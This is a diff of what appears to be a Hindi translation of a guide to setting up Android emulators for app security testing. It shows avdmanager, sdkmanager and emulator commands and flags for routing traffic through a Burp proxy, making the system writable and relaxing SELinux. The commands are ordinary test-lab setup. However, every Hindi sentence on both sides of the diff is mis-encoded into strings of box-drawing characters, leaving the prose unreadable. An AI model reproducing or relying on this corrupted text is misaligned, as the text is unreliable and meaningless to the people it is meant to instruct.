@@ -40,32 +40,32 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
.png)
-_**рд╡рд╣ рдлреЛрди рдЪреБрдиреЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**_ рдФрд░ _**Next**_ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред
+_**рдЪреБрдиреЗрдВ** рд╡рд╣ рдлреЛрди рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ_ рдФрд░ _**Next.**_ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред
> [!WARNING]
-> рдпрджрд┐ рдЖрдкрдХреЛ Play Store рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реБрдЖ рдлреЛрди рдЪрд╛рд╣рд┐рдП рддреЛ Play Store рдЖрдЗрдХрди рд╡рд╛рд▓реЗ рдлреЛрди рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ!
+> рдпрджрд┐ рдЖрдкрдХреЛ Play Store рдЗрдВрд╕реНрдЯреЙрд▓ рд╡рд╛рд▓рд╛ рдлреЛрди рдЪрд╛рд╣рд┐рдП рддреЛ Play Store рдЖрдЗрдХреЙрди рд╡рд╛рд▓рд╛ рдлреЛрди рдЪреБрдиреЗрдВ!
>
>
.png)
-рд╡рд░реНрддрдорд╛рди рджреГрд╢реНрдп рдореЗрдВ рдЖрдк рдЙрд╕ Android image рдХреЛ рдЪреБрди (select) рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рдкрд╛рдПрдБрдЧреЗ рдЬрд┐рд╕реЗ рдлреЛрди рдЪрд▓рд╛рдПрдЧрд╛:
+рдЗрд╕ рджреГрд╢реНрдп рдореЗрдВ рдЖрдк **Android image рдЪреБрди рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХреЗрдВрдЧреЗ** рдЬрд┐рд╕реЗ рдлреЛрди рдЪрд▓рд╛рдПрдЧрд╛:
.png)
-рдЗрд╕реЗ рдЪреБрдиреЗрдВ рдФрд░ рдЕрдЧрд░ рдпрд╣ рдбрд╛рдЙрдирд▓реЛрдб рдирд╣реАрдВ рд╣реБрдЖ рд╣реИ рддреЛ рдирд╛рдо рдХреЗ рдмрдЧрд▓ рдореЗрдВ _**Download**_ рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ (рдбрд╛рдЙрдирд▓реЛрдб рдкреВрд░рд╛ рд╣реЛрдиреЗ рддрдХ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ)ред\
-рдЬрдм image рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛ рдЬрд╛рдП, рддреЛ рдмрд╕ **`Next`** рдФрд░ **`Finish`** рдЪреБрдиреЗрдВред
+рддреЛ, рдЗрд╕реЗ рдЪреБрдиреЗрдВ рдФрд░ рдпрджрд┐ рдпрд╣ рдбрд╛рдЙрдирд▓реЛрдб рдирд╣реАрдВ рд╣реБрдЖ рд╣реИ рддреЛ рдирд╛рдо рдХреЗ рдмрдЧрд▓ рдореЗрдВ рдореМрдЬреВрдж _**Download**_ рдЪрд┐рд╣реНрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ (**рдЕрдм рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВ рдЬрдм рддрдХ image рдбрд╛рдЙрдирд▓реЛрдб рди рд╣реЛ рдЬрд╛рдП)ред**\
+рдПрдХ рдмрд╛рд░ image рдбрд╛рдЙрдирд▓реЛрдб рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдмрд╕ **`Next`** рдФрд░ **`Finish`** рдЪреБрдиреЗрдВред
-рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрди рдЬрд╛рдПрдЧреАред рдЕрдм **рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк AVD manager рдХреЛ рдЦреЛрд▓реЗрдВрдЧреЗ рдпрд╣ рд╡рд╣рд╛рдБ рдореМрдЬреВрдж рд░рд╣реЗрдЧрд╛ред**
+рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрди рдЬрд╛рдПрдЧреАред рдЕрдм **рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк AVD manager рддрдХ рдкрд╣реБрдБрдЪреЗрдВрдЧреЗ рдпрд╣ рдореМрдЬреВрдж рд░рд╣реЗрдЧрд╛**ред
### Run Virtual Machine
-рдЗрд╕реЗ **run** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╕ _**Start button**_ рджрдмрд╛рдПрдБред
+рдЗрд╕реЗ **рдЪрд▓рд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдмрд╕ _**Start button**_ рджрдмрд╛рдПрдВред
.png>)
## Command Line tool
> [!WARNING]
-> For macOS you can find the `avdmanager` tool in `/Users/
/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed.
+> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдореЗрдВ рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛рдПрдБрдЧреЗ рдпрджрд┐ рдЖрдкрдиреЗ рдЗрдиреНрд╣реЗрдВ рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд┐рдпрд╛ рд╣реИред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ рдЖрдкрдХреЛ **рдирд┐рд░реНрдгрдп рд▓реЗрдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдХреМрди рд╕рд╛ рдлреЛрди рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ**, рд╕рдВрднрд╛рд╡рд┐рдд рдлреЛрди рдХреА рд╕реВрдЪреА рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрди рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ:
```
@@ -95,16 +95,15 @@ Name: Nexus 10
OEM : Google
[...]
```
-рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд╛рдо рддрдп рдХрд░ рд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ рдпрд╣ рддрдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдХреМрди рд╕рд╛ **Android image** рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред\
-рдЖрдк `sdkmanager` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рд╡рд┐рдХрд▓реНрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдк рдЙрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдирд╛рдо рддрдп рдХрд░ рд▓реЗрдВ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдкрдХреЛ **рддрдп рдХрд░рдирд╛ рд╣реЛрдЧрд╛ рдХрд┐ рдЖрдк рдЗрд╕ рдбрд┐рд╡рд╛рдЗрд╕ рдореЗрдВ рдХреМрди-рд╕рд╛ Android image рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред**\ рдЖрдк `sdkmanager` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рд╡рд┐рдХрд▓реНрдк рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
-рдФрд░ **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░реЗрдВ рдЙрд╕ рдПрдХ (рдпрд╛ рд╕рднреА) рдХреЛ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ:
+рдФрд░ рд╡рд╣ (рдпрд╛ рд╕рднреА) рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, **рдбрд╛рдЙрдирд▓реЛрдб** рдХрд░реЗрдВ:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
-рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реЛ, рддрдм рдЖрдк рдирд┐рдореНрди рдХреЗ рд╕рд╛рде **рдбрд╛рдЙрдирд▓реЛрдб рдХреА рдЧрдИ рд╕рднреА Android images рдХреЛ рд╕реВрдЪреАрдмрджреНрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
+рдПрдХ рдмрд╛рд░ рдЬрдм рдЖрдкрдиреЗ рдЙрд╕ Android image рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдирд┐рдореНрди рдХреЗ рд╕рд╛рде **рд╕рднреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдЧрдП Android images** рдХреА рд╕реВрдЪреА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
```
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@@ -120,12 +119,11 @@ Type: Platform
API level: 29
Revision: 4
```
-рдЗрд╕ рд╕рдордп рдЖрдкрдиреЗ рд╡рд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдЪреБрди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдиреЗ Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓реА рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдЖрдк рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:**
+рдЕрдм рдЖрдкрдиреЗ рд╡рд╣ рдбрд┐рд╡рд╛рдЗрд╕ рдЪреБрди рд▓рд┐рдпрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдФрд░ рдЖрдкрдиреЗ Android image рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓рд┐рдпрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП **рдЖрдк рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
-рдкрд┐рдЫрд▓реА рдХрдорд╛рдВрдб рдореЗрдВ **рдореИрдВрдиреЗ VM рдмрдирд╛рдпрд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо** "_AVD9_" **рдерд╛**, **рдбрд┐рд╡рд╛рдЗрд╕** "_Nexus 5X_" рдФрд░ **Android image** "_system-images;android-28;google_apis;x86_64_".\
-рдЕрдм рдЖрдк **рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреА рд╕реВрдЪреА** рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдкрдиреЗ рдмрдирд╛рдпрд╛ рд╣реИ, рдирд┐рдореНрди рдХреЗ рд╕рд╛рде рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:
+рдкрд┐рдЫрд▓реЗ рдХрдорд╛рдВрдб рдореЗрдВ **рдореИрдВрдиреЗ рдПрдХ VM рдмрдирд╛рдпрд╛ рдЬрд┐рд╕рдХрд╛ рдирд╛рдо** "_AVD9_" рдерд╛, рдЬреЛ **рдбрд┐рд╡рд╛рдЗрд╕** "_Nexus 5X_" рдФрд░ **Android image** "_system-images;android-28;google_apis;x86_64_" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛.\\ рдЕрдм рдЖрдк **рдЕрдкрдиреА рдмрдирд╛рдИ рд╣реБрдИ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЗрдВ рд╕реВрдЪреАрдмрджреНрдз** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@@ -140,55 +138,55 @@ Name: Pixel_2_API_27
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
Error: Google pixel_2 no longer exists as a device
```
-### рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛рдПрдБ
+### рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛рдПрдВ
> [!WARNING]
-> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред
+> macOS рдХреЗ рд▓рд┐рдП рдЖрдк `avdmanager` рдЯреВрд▓ рдХреЛ `/Users//Library/Android/sdk/tools/bin/avdmanager` рдореЗрдВ рдФрд░ `emulator` рдХреЛ `/Users//Library/Android/sdk/emulator/emulator` рдореЗрдВ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗ рдЗрдВрд╕реНрдЯреЙрд▓ рд╣реИрдВред
-рд╣рдо рдкрд╣рд▓реЗ рд╣реА рджреЗрдЦ рдЪреБрдХреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЖрдк рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**:
+рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рджреЗрдЦрд╛ рд╣реИ рдХрд┐ рдЖрдк рдмрдирд╛рдП рдЧрдП рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрдиреЛрдВ рдХреЛ рдХреИрд╕реЗ рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЖрдк рдЗрдиреНрд╣реЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рд╕реВрдЪреАрдмрджреНрдз рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
-рдЖрдк рдмрд╕ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмрдиреА рд╣реБрдИ рдХрд┐рд╕реА рднреА virtual machine рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**:
+рдЖрдк рдмрд╕ рдирд┐рдореНрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдмрдирд╛рдИ рдЧрдИ рдХрд┐рд╕реА рднреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдХреЛ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ**:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
```
-рдпрд╛ рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЗрд╕ рддрд░рд╣ рдПрдХ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
+рдпрд╛ рдЕрдзрд┐рдХ рдЙрдиреНрдирдд рд╡рд┐рдХрд▓реНрдкреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддрд░рд╣ рдХреА рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ:
```bash
C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк
-рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдЙрдкрдпреЛрдЧреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк**ред рдиреАрдЪреЗ рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рд╡рд┐рдХрд▓реНрдк рджрд┐рдП рдЧрдП рд╣реИрдВ рд▓реЗрдХрд┐рди рдЖрдк [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
+рд╣рд╛рд▓рд╛рдБрдХрд┐ рд╡рд░реНрдЪреБрдЕрд▓ рдорд╢реАрди рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдЙрдкрдпреЛрдЧреА рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╡рд┐рдХрд▓реНрдк рд╣реИрдВред рдиреАрдЪреЗ рдХреБрдЫ рд░реЛрдЪрдХ рд╡рд┐рдХрд▓реНрдк рджрд┐рдП рдЧрдП рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЖрдк [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**рдмреВрдЯ**
-- `-snapshot name` : VM рд╕реНрдиреИрдкрд╢реЙрдЯ рд╢реБрд░реВ рдХрд░реЗрдВ
-- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рд╕рднреА рд╕реНрдиреИрдкрд╢реЙрдЯ рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ
+- `-snapshot name` : VM рдХрд╛ snapshot рд╢реБрд░реВ рдХрд░реЗрдВ
+- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : рд░рд┐рдХреЙрд░реНрдб рдХрд┐рдП рдЧрдП рд╕рднреА snapshots рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ
**рдиреЗрдЯрд╡рд░реНрдХ**
-- `-dns-server 192.0.2.0, 192.0.2.255` : VM рдХреЗ рд▓рд┐рдП DNS рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдХреЙрдорд╛ рд╕реЗ рдЕрд▓рдЧ рдХрд░рдХреЗ рдмрддрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
-- **`-http-proxy 192.168.1.12:8080`** : рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP proxy рдмрддрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА)
-- рдЕрдЧрд░ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ proxy рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдЖрдВрддрд░рд┐рдХ рд░реВрдк рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдпрд╛ "Super Proxy" рдпрд╛ "ProxyDroid" рдЬреИрд╕реЗ рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
-- `-netdelay 200` : рдиреЗрдЯрд╡рд░реНрдХ рд╡рд┐рд▓рдВрдмрддрд╛ рдПрдореБрд▓реЗрд╢рди (рдорд┐рд▓реАрд╕реЗрдХрдВрдб рдореЗрдВ) рд╕реЗрдЯ рдХрд░реЗрдВред
-- `-port 5556` : рдЙрд╕ TCP рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ console рдФрд░ adb рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
-- `-ports 5556,5559` : console рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХрд░реЗрдВред
-- **`-tcpdump /path/dumpfile.cap`** : рд╕рднреА рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ
+- `-dns-server 192.0.2.0, 192.0.2.255` : VM рдХреЛ рдХреЙрдорд╛ рд╕реЗ рдЕрд▓рдЧ рдХрд┐рдП рдЧрдП DNS рд╕рд░реНрд╡рд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
+- **`-http-proxy 192.168.1.12:8080`** : рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП HTTP proxy рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЯреНрд░реИрдлрд┐рдХ рдХреИрдкреНрдЪрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Burp рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдмрд╣реБрдд рдЙрдкрдпреЛрдЧреА)
+- рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ proxy рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░ рд░рд╣реА рд╣реИрдВ, рддреЛ рдЙрдиреНрд╣реЗрдВ рдЕрдВрджрд░реВрдиреА рддреМрд░ рдкрд░ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдпрд╛ Super Proxy рдпрд╛ ProxyDroid рдЬреИрд╕реЗ рдРрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
+- `-netdelay 200` : рдиреЗрдЯрд╡рд░реНрдХ рд▓реЗрдЯреЗрдВрд╕реА рдПрдореБрд▓реЗрд╢рди рдорд┐рд▓реАрд╕реЗрдХрдВрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред
+- `-port 5556` : рдХрдВрд╕реЛрд▓ рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рдирдВрдмрд░ рдХреЛ рд╕реЗрдЯ рдХрд░реЗрдВред
+- `-ports 5556,5559` : рдХрдВрд╕реЛрд▓ рдФрд░ adb рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ TCP рдкреЛрд░реНрдЯ рд╕реЗрдЯ рдХрд░реЗрдВред
+- **`-tcpdump /path/dumpfile.cap`** : рд╕рднреА рдЯреНрд░реИрдлрд┐рдХ рдХреЛ рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ
**рд╕рд┐рд╕реНрдЯрдо**
-- `-selinux {disabled|permissive}` : Linux рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ Security-Enhanced Linux рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдбреНрдпреВрд▓ рдХреЛ disabled рдпрд╛ permissive рдореЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред
+- `-selinux {disabled|permissive}` : Security-Enhanced Linux рд╕реБрд░рдХреНрд╖рд╛ рдореЙрдбреНрдпреВрд▓ рдХреЛ Linux рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдкрд░ disabled рдпрд╛ permissive рдореЛрдб рдореЗрдВ рд╕реЗрдЯ рдХрд░реЗрдВред
- `-timezone Europe/Paris` : рд╡рд░реНрдЪреБрдЕрд▓ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд▓рд┐рдП рдЯрд╛рдЗрдордЬрд╝реЛрди рд╕реЗрдЯ рдХрд░реЗрдВ
-- `-screen {touch(default)|multi-touch|o-touch}` : рдЗрдореНрдпреВрд▓реЗрдЯреЗрдб рдЯрдЪ рд╕реНрдХреНрд░реАрди рдореЛрдб рд╕реЗрдЯ рдХрд░реЗрдВред
